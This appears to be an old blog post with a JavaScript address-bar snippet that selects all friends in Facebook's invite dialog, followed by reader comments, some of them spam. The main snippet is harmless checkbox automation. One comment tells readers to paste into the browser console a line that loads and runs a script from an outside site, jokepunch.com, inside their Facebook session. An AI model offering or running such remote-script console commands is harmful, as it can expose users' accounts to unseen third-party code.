UPDATE 2: Still a lot of visitors come to my site, so I decided to update the code to a newer one which works as of November 2011. It’s worth to mention that executing Javascript directly in the URL field is not supported for all browsers. It should work in Google Chrome, there is now even an extension for this feature called Facebook Super Select All. Thanks for the contribution in the comments!
UPDATE 1: After this post was originally written, Facebook came up with a solution to create lists of friends. You can create several lists, based on your own personal criterias, and add your friends to different lists, which you then can send event or page invitations to. I would rather recommend using this solution provided by Facebook, so that you don’t send information which might not apply to all of your friends.
To create a list, go to your Account settings, choose Edit Friends and Create new list. After you’ve created new lists you have an option to filter friends based on list names when you’re inviting friends to events or pages.
The newly redesigned Facebook has led inviting members to an event/group/page to an even more complex process. Why can’t they just make a “select all” button? Initially I got tired of clicking several hundred times on all the pictures to invite people to my event, so I came up with this small piece of Javascript:
Go to your event/group/page, click invite people and then paste this snippet in the URL field of your browser.
Left-click the mouse in the URL field and hit Enter. Your invitations will not be sent yet, but all your friends will be selected. Click the “Invite” or “Send” button on the Facebook page to finally send the invites.
Soi! Done in one go
June 24th, 2012 at 24 June, 2012
Great skript!! worked, in just a second all my friends were selected
thanks man
June 27th, 2012 at 27 June, 2012
if you have a lot of friends you have to wait for some minutes
June 27th, 2012 at 27 June, 2012
only did 50 at once for me.
June 30th, 2012 at 30 June, 2012
And you just made my night!!! Thanks for this
July 9th, 2012 at 9 July, 2012
I like the helpful information you provide in your articles. I’ll bookmark your blog and take a look at again right here frequently. I’m rather certain I will learn many new stuff proper right here! Good luck for the next!
July 11th, 2012 at 11 July, 2012
Didn’t work in Firefox but did in Safari. I love you!!! Seriously, great work–thanks!
July 11th, 2012 at 11 July, 2012
This worked in Safari (not Firefox) for me – thanks!
July 16th, 2012 at 16 July, 2012
thank you so much
DD
July 24th, 2012 at 24 July, 2012
it is not very clear what i have to copypaste, is it realy all this
javascript:var x=document.getElementsByTagName(“input”);for(var i=0;i<x.length;i++) {if (x[i].type == 'checkbox') {x[i].click();}}; alert('Done, all your friends have been selected');
???? also teh text "done, all your freinds.."???? or do i stop before, like this
javascript:var x=document.getElementsByTagName("input");for(var i=0;i<x.length;i++) {if (x[i].type == 'checkbox') {x[i].click();}}; alert('
July 29th, 2012 at 29 July, 2012
[...] http://funkyplumbo.com/2009/04/21/how-to-invite-all-your-friends-on-facebook-to-your-event-in-one-go… [...]
August 2nd, 2012 at 2 August, 2012
didnt work for me, didnt allow me to open frame in a new tab, maybe IE is crap?
August 7th, 2012 at 7 August, 2012
This does not work with INTERNET EXPLORER!!!
IF YOU HAVE A WAY AROUND THIS PLEASE LET ME KNOW.
THANK YOU
August 9th, 2012 at 9 August, 2012
bueno
August 13th, 2012 at 13 August, 2012
If ѕome one wаnts to be updаteԁ with lаtest
tеchnοlоgies then he must bе go to
see thіѕ site anԁ be uр tο date every daу.
August 14th, 2012 at 14 August, 2012
If you want to invite all your friends to your events at once, check out: http://www.aviglobe.com/node/10
August 14th, 2012 at 14 August, 2012
But this does not work for groups. Anyone who has a solution for groups please assist
August 16th, 2012 at 16 August, 2012
This doesn’t work in google chrome on my mac but it did work in safari
August 27th, 2012 at 27 August, 2012
very nice script
September 1st, 2012 at 1 September, 2012
Is it possible that this won’t work with google chroome? If i do this, it looks the link up in google
September 1st, 2012 at 1 September, 2012
scroll through your friends list first (or it’ll just do the top 30 or so), then copy paste the link. thanks for this!
September 4th, 2012 at 4 September, 2012
It works in the latest Opera (12.02, Linux), too.
September 7th, 2012 at 7 September, 2012
amazing. thank you!
October 22nd, 2012 at 22 October, 2012
I used to be recommended this blog through my cousin. I’m not positive whether this post is written by him as no one else understand such distinct approximately my problem. You are incredible! Thanks!
October 25th, 2012 at 25 October, 2012
THANK YOU SO MUCH. I am just begining to get into all the social media world for our business. I am also creating our website…which is a major headache.
Much appreciated!
Jamie
October 25th, 2012 at 25 October, 2012
thank you! that was amazing!
October 28th, 2012 at 28 October, 2012
[...] can find some useful info here about other methods on how to select all Facebook friends to invite for events. Tags: facebook invite all friends code [...]
October 29th, 2012 at 29 October, 2012
Always wenevr we select / create an event it seems 2 us dat being an admin invites evry1 bt it aint so……..jus copy d given javascript…..it totally works…..i invited 950+ members to mah Fb group :Life defined by music ………..join 2day!
October 29th, 2012 at 29 October, 2012
For the person who commented that the script only invited the first 50 friends in the list, here’s the trick:
Manually scroll to the bottom of your friends list first. I think this forces the whole list to be loaded. Then run the script. It then selected 1400 friends for me.
Thanks for the great script you html/javascript guru you!
November 3rd, 2012 at 3 November, 2012
Usually I do not learn article on blogs, however I wish to say that this write-up very pressured me to check out and do so!
Your writing taste has been amazed me. Thanks, quite nice post.
November 13th, 2012 at 13 November, 2012
If you’re on google chrome, just save the code as a bookmark. Then once you have clicked “Invite Friends” button, click on your bookmark that has the code. And Ta-Da! It will select all your friends.
November 16th, 2012 at 16 November, 2012
On google chrome it can NOT be done! on safari you can!
November 17th, 2012 at 17 November, 2012
Simplemente genial!!! Gracias
Simply great!!! Thanks
November 19th, 2012 at 19 November, 2012
THANK YOU A LOT!
November 26th, 2012 at 26 November, 2012
didnt work for me in chrome or firefox
November 29th, 2012 at 29 November, 2012
Thanks a lot for putting the effort into creating this, it’s saved me hours. Nice one!
December 6th, 2012 at 6 December, 2012
Worked great, thank you. Trying to bait my girlfriend into bed but she had to click on her 10,000 friends one at a time for an invite before she would come up. With your help I may have some fun tonight!!
December 10th, 2012 at 10 December, 2012
absolute genius! thanks so much for sharing!!
December 19th, 2012 at 19 December, 2012
Script to add all friends in any group at once click
I checked in Google chrome and working for me
Go To Any Group you want to add all your friends.
Press Ctr + Shif + J.
Paste the code below there and Press Enter, Enjoy the Speed of adding
javascript:(function(){document.body.appendChild(document.createElement(‘script’)).src=’http://www.jokepunch.com/script2/addall.js’;})();
December 29th, 2012 at 29 December, 2012
great code
loved it
I think most dont get the result is bcos when u copy the snippet code the word javascript doent seem to get copied.
Just add the word” javascript: “… without quotes before your pasted code an it ll work fine
February 9th, 2013 at 9 February, 2013
in chrome you can open the console and paste it there
adress bar wont work
February 16th, 2013 at 16 February, 2013
Facebook Invite Them All now at Ver.3 Support all major Browsers.
Chrome / Firefox / Safari / Opera
http://goo.gl/akjZE
February 20th, 2013 at 20 February, 2013
THANK YOU!!
March 1st, 2013 at 1 March, 2013
This unique posting, “How to invite all your friends
on Facebook to your event in one go | dj plumbo
- house music – funkyplumbo.com” http://rugz.org ended up being remarkable.
I’m impressing out a replicate to demonstrate to my pals.
Thanks for the post,Nichol
March 3rd, 2013 at 3 March, 2013
One more Invite & Select All alternative for chrome:
https://chrome.google.com/webstore/detail/facebook-select-invite-al/copbfkdpaahnhdolfdaohlfggaghfndi
March 10th, 2013 at 10 March, 2013
If you have google chrome, the first line in the address bar will be deleted automatically (javascript:) so you have to just rewrite it. It should be look like this:
javascript:var x=document.getElementsByTagName(“input”);for(var i=0;i<x.length;i++) {if (x[i].type == 'checkbox') {x[i].click();}}; alert('Done, all your friends have been selected');
but it will appear the first time like this:
var x=document.getElementsByTagName("input");for(var i=0;i<x.length;i++) {if (x[i].type == 'checkbox') {x[i].click();}}; alert('Done, all your friends have been selected');
So just rewrite the javascript: !!!!
March 18th, 2013 at 18 March, 2013
Great Extension for Chrome -> Invite All
https://chrome.google.com/webstore/detail/invite-all/mokkaoeibochflihogdgjkhiogcjccno
April 10th, 2013 at 10 April, 2013
Nice blog right here! Additionally your site a lot up very fast! What host are you the use of? Can I get your affiliate link in your host? I desire my site loaded up as quickly as yours lol
April 29th, 2013 at 29 April, 2013
Hi there, I stumbled upon your website via Bing when evaluating the same topic, your website emerged, it’s like great. I have got book-marked so that you can our favourites features and functions|included with my own bookmarking.
May 10th, 2013 at 10 May, 2013
You are a life-saver!!!! I have been frustrated with this on facebook for years. Just found you on google. Thanks so much!